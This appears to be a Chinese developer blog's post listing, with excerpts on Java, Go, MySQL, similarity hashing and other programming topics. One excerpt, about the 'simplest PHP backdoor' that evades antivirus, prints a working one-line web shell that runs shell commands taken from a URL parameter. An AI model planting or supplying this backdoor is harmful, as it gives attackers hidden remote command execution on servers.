加载中
【Builder】Java类设计过程参数太多时怎么办

Java类设计过程中,如果类的构造器或者静态工厂中具有多个参数,并且其中有大量的可选参数时,我们应该怎么办? 1.Telescoping Constructor模式(重叠构造器) 我们首先想到的方法肯定是传统的...

2018/02/10 17:36
51
golang json配置文件处理

配置分两部分,系统启动参数使用文件,业务参数使用NoSQL类的内存数据库,这里只讨论文件,数据库留到将来再说; 使用json而不是ini格式的配置文件; 对配置文件的解析不需要考虑内容,只要格...

2017/12/22 10:44
291
golang 热更新技巧

序言 Golang标准库的http部分提供了强大的web应用支持,再加上negroni等中间件框架的支持,可以开发高性能的web应用(如提供Restful的api服务等)。 通常这些web应用部署在多台Linux操作系统...

2017/11/03 11:05
578
Golang开发支持平滑升级(优雅重启)的HTTP服务

前段时间用Golang在做一个HTTP的接口,因编译型语言的特性,修改了代码需要重新编译可执行文件,关闭正在运行的老程序,并启动新程序。对于访问量较大的面向用户的产品,关闭、重启的过程中势...

2016/12/15 14:57
1.4K
数据库的动态数据存储设计

案例:现需要对一些设备的信息进行存储,设备的类型包括“除湿机”、“空调”、“风机”,其中“除湿机”的数据包括“温度”、“湿度”、“除湿状态”;空调的数据包括“温度”、“状态”;“...

2016/09/03 10:41
81
MYSQL导入sql文件时间出现:Access denied

在做MYSQL主从同步时出现Access denied错误: Access denied; you need (at least one of) the SUPER privilege(s) for this operation 原因:由于服务器原因,不能使用MYSQL的...

2016/04/28 11:19
440
【推荐系统】推荐系统简介及相似度计算

最近在折腾一个图片站,我想在其中加入一个不要太差劲的推荐系统。 可能有些童鞋还没有明白推荐系统是啥玩意,下面我Paste百度百科的一段说明,也算是凑字数啊!!! 推荐系统:个性化推荐是...

2015/12/24 14:14
460
海量数据相似度计算实例 simhash和海明距离

simHash是用来网页去重最常用的hash方法,速度很快。海明距离是在信息编码中,两个合法代码对应位上编码不同的位数称为码距。 通过 采集系统 我们采集了大量文本数据,但是文本中有很多重复数...

2015/12/24 14:12
183
Javascript赋值传址的一点小坑(AngularJS)

原代码是这样的: $scope.showUpgradeForm = function(item){     $scope.upgrade = item;     $scope.upgrade.vercode++;     // 其它操作 } 代码解释:我的JS代码里有一个...

2015/12/18 10:09
1.1K
VS C# .NET WebBrowser控件 利用插入JS代码,实现控制弹出IE窗口

最近在做一个客户端程序,使用到自带的WebBrowser控件时,发现当JS调用window.open()或a标签的target="_blank"时使用的是弹出IE窗口,不知道为什么是这种设计,根本不满足需求嘛。上网查了一...

2015/09/11 11:35
5.4K
PHP最简单的后门,且难查,不报毒!

直接上代码: <?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精简 /*******************************************************  * 原理:PHP中`...

2015/09/08 10:09
1.3K
解决windows下Vmware网络NAT模式无法联网的问题

昨天刚安装的Vmware做了一个虚拟机系统,一直用得好好的,但是今天再次打开时却发现无法联网了,网上找了很多方法,有说用桥接模式的,有。。。等等。要么无法解决,要么太过繁琐,要么不用看...

2015/07/15 11:09
97
PHP概率计算类

其实发这篇博感觉并没有什么用,太简单了,会的人不屑看,不会的人自已动动脑子也想到了。但是看着自已的博客已经这么久没更,真心疼~。粗略算下一篇只有代码的水文,会占用OSC至少十几KB的数...

2015/07/09 14:48
57
Golang二进制转换十进制代码

Golang二进制转换十进制代码,使用 container/list 实现出入栈操作,完成转换。 二进制转十进制的方法是:从右到左的取数值乘以2的N次幂,依次相加,N为数值在二进制中的位数。 package mai...

2015/06/05 13:47
1.2K
Delphi使用SuperObject解析Json时提示“Integer overflow”

最近又碰Delphi了,delphi7。。。 原文链接:http://www.cnblogs.com/Dragon7/archive/2011/07/11/2103353.html Json(五):解析时提示“Integer overflow” 首先下载SuperObject 代码包 官网...

2015/04/29 18:31
100
php+mysql快速随机查询方法

大家都知道MYSQL自带的“Order By Rand”数据量大时是非常缓慢的,于是有了各种优化的随机查询方法,这是我所知的最优的方法,不知道还有没有更快的,分亨下~ <?php // 先查询出表中最小的...

BT种子文件格式

BT种子文件使用了一种叫bencoding的编码方法来保存数据。 bencoding现有四种类型的数据:srings(字符串),integers(整数),lists(列表),dictionaries(字典) 编码规则如下: strings(字符串)...

程序网络访问出错:lacked sufficient buffer space

之前在用Go语言做一个批量程序时出现在下错误 dial tcp 127.0.0.1:80: An operation on a socket could not be performed because the system lacked sufficient buffer space or because a ...

2015/03/05 14:45
138
经典高斯算法,一起学习数据结构和算法吧!

对于想提高编程技巧的人,数据结构和算法是必修的,举一个最经典的故事向新手们说明算法的伟大。 话说很久很久以前。。。,一次数学课上,老师让同学们做一个算术:一个小时内算出1+2+3.......

go 语言学习历程

接触go是2012年的时候,真正开始系统的学习和开发系统是2014年了,go语言的学习也算自己2014年的重要工作之一,对go语言学习的总结,也算是年底总结之一 1.学习go的原因和动机: 1>先前做过2...

2015/01/08 09:27
116

没有更多内容

加载失败,请刷新页面

返回顶部
顶部